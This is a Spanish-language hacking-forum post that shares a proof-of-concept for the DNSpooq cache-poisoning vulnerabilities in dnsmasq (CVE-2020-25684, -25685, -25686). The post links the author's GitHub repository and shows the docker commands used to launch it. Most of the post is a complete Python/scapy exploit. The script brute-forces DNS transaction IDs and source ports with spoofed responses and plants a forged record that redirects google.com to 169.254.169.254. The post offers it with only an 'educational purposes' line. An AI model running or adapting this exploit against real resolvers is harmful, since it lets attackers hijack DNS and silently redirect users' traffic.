Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: el-brujo en 25 Enero 2021, 22:49 pm



Título: PoC para #DNSpooq: cache poisoning en en dnsmasq CVE-2020-25686 - CVE-2020-25684 - CVE-2020-25685
Publicado por: el-brujo en 25 Enero 2021, 22:49 pm
PoC para DNSpooq - dnsmasq cache poisoning CVE-2020-25686 - CVE-2020-25684 - CVE-2020-25685 por Teppei Fukuda @knqyf263

For educational purposes only

https://github.com/knqyf263/dnspooq

Código:
$ docker-compose exec attacker bash
bash-5.0# python exploit.py

(https://raw.githubusercontent.com/knqyf263/dnspooq/main/imgs/dnspooq.png)

exploit.py

Código
  1. #!/usr/bin/python
  2.  
  3. import itertools
  4. from scapy.all import *
  5.  
  6.  
  7. def patch(dns_frame: bytearray, pseudo_hdr: bytes, dns_id: int, dport: int):
  8.    # set dport
  9.    dns_frame[36] = (dport >> 8) & 0xFF
  10.    dns_frame[37] = dport & 0xFF
  11.  
  12.    # set dns_id
  13.    dns_frame[42] = (dns_id >> 8) & 0xFF
  14.    dns_frame[43] = dns_id & 0xFF
  15.  
  16.    # reset checksum
  17.    dns_frame[40] = 0x00
  18.    dns_frame[41] = 0x00
  19.  
  20.    # calc new checksum
  21.    ck = checksum(pseudo_hdr + dns_frame[34:])
  22.    if ck == 0:
  23.        ck = 0xFFFF
  24.    cs = struct.pack("!H", ck)
  25.    dns_frame[40] = cs[0]
  26.    dns_frame[41] = cs[1]
  27.  
  28.  
  29. ftabsiz = 150
  30. qname = "example.com"
  31. target = "google.com"
  32. poison = "169.254.169.254"
  33.  
  34. attacker = "10.10.0.3"
  35. forwarder = "10.10.0.2"
  36. cache = "10.10.0.4"
  37.  
  38. txids = range(1, 2**16)
  39. sports = range(1025, 2**16)
  40. candidates = itertools.product(txids, sports)
  41.  
  42. # DNS query
  43. qd = DNSQR(qname=qname, qtype="A", qclass='IN')
  44. req = IP(dst=forwarder) / UDP(dport=53) / DNS(id=0, rd=1, qd=qd)
  45. dns_layer = req[DNS]
  46.  
  47. # Socket
  48. s2 = conf.L2socket(iface="eth0")
  49. s3 = conf.L3socket(iface="eth0")
  50.  
  51. print("Querying non-cached names...")
  52. for i in range(ftabsiz):
  53.    dns_layer.id = i
  54.    s3.send(req)
  55.  
  56. print("Generating spoofed packets...")
  57. res = Ether() / \
  58.      IP(src=cache, dst=forwarder) / \
  59.      UDP(sport=53, dport=0) / \
  60.      DNS(id=0, qr=1, ra=1, qd=qd,
  61.          an=DNSRR(rrname=qname, ttl=900, rdata=target, type="CNAME", rclass="IN") /
  62.             DNSRR(rrname=target, ttl=900, rdata=poison, type="A", rclass="IN"))
  63.  
  64. # Optimization
  65. dns_frame = bytearray(raw(res))
  66. pseudo_hdr = struct.pack(
  67.    "!4s4sHH",
  68.    inet_pton(socket.AF_INET, res["IP"].src),
  69.    inet_pton(socket.AF_INET, res["IP"].dst),
  70.    socket.IPPROTO_UDP,
  71.    len(dns_frame[34:]),
  72. )
  73.  
  74. verify = IP(dst=forwarder) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=target, qtype="A", qclass='IN'))
  75.  
  76. start_time = time.time()
  77.  
  78. n_pkts = 0
  79. for txid, sport in candidates:
  80.    # Update TXID and UDP dst port
  81.    patch(dns_frame, pseudo_hdr, txid, sport)
  82.    s2.send(dns_frame)
  83.  
  84.    n_pkts += 1
  85.    if sport == 65535:
  86.        res = sr1(verify, verbose=0, iface="eth0", timeout=0.01)
  87.        if res is not None and res.haslayer(DNSRR):
  88.            print(f"Poisoned: {res[DNSRR].rrname} => {res[DNSRR].rdata}")
  89.            break
  90.  
  91. end_time = time.time()
  92. print(f"sent {n_pkts} responses in {end_time - start_time:.3f} seconds")
  93.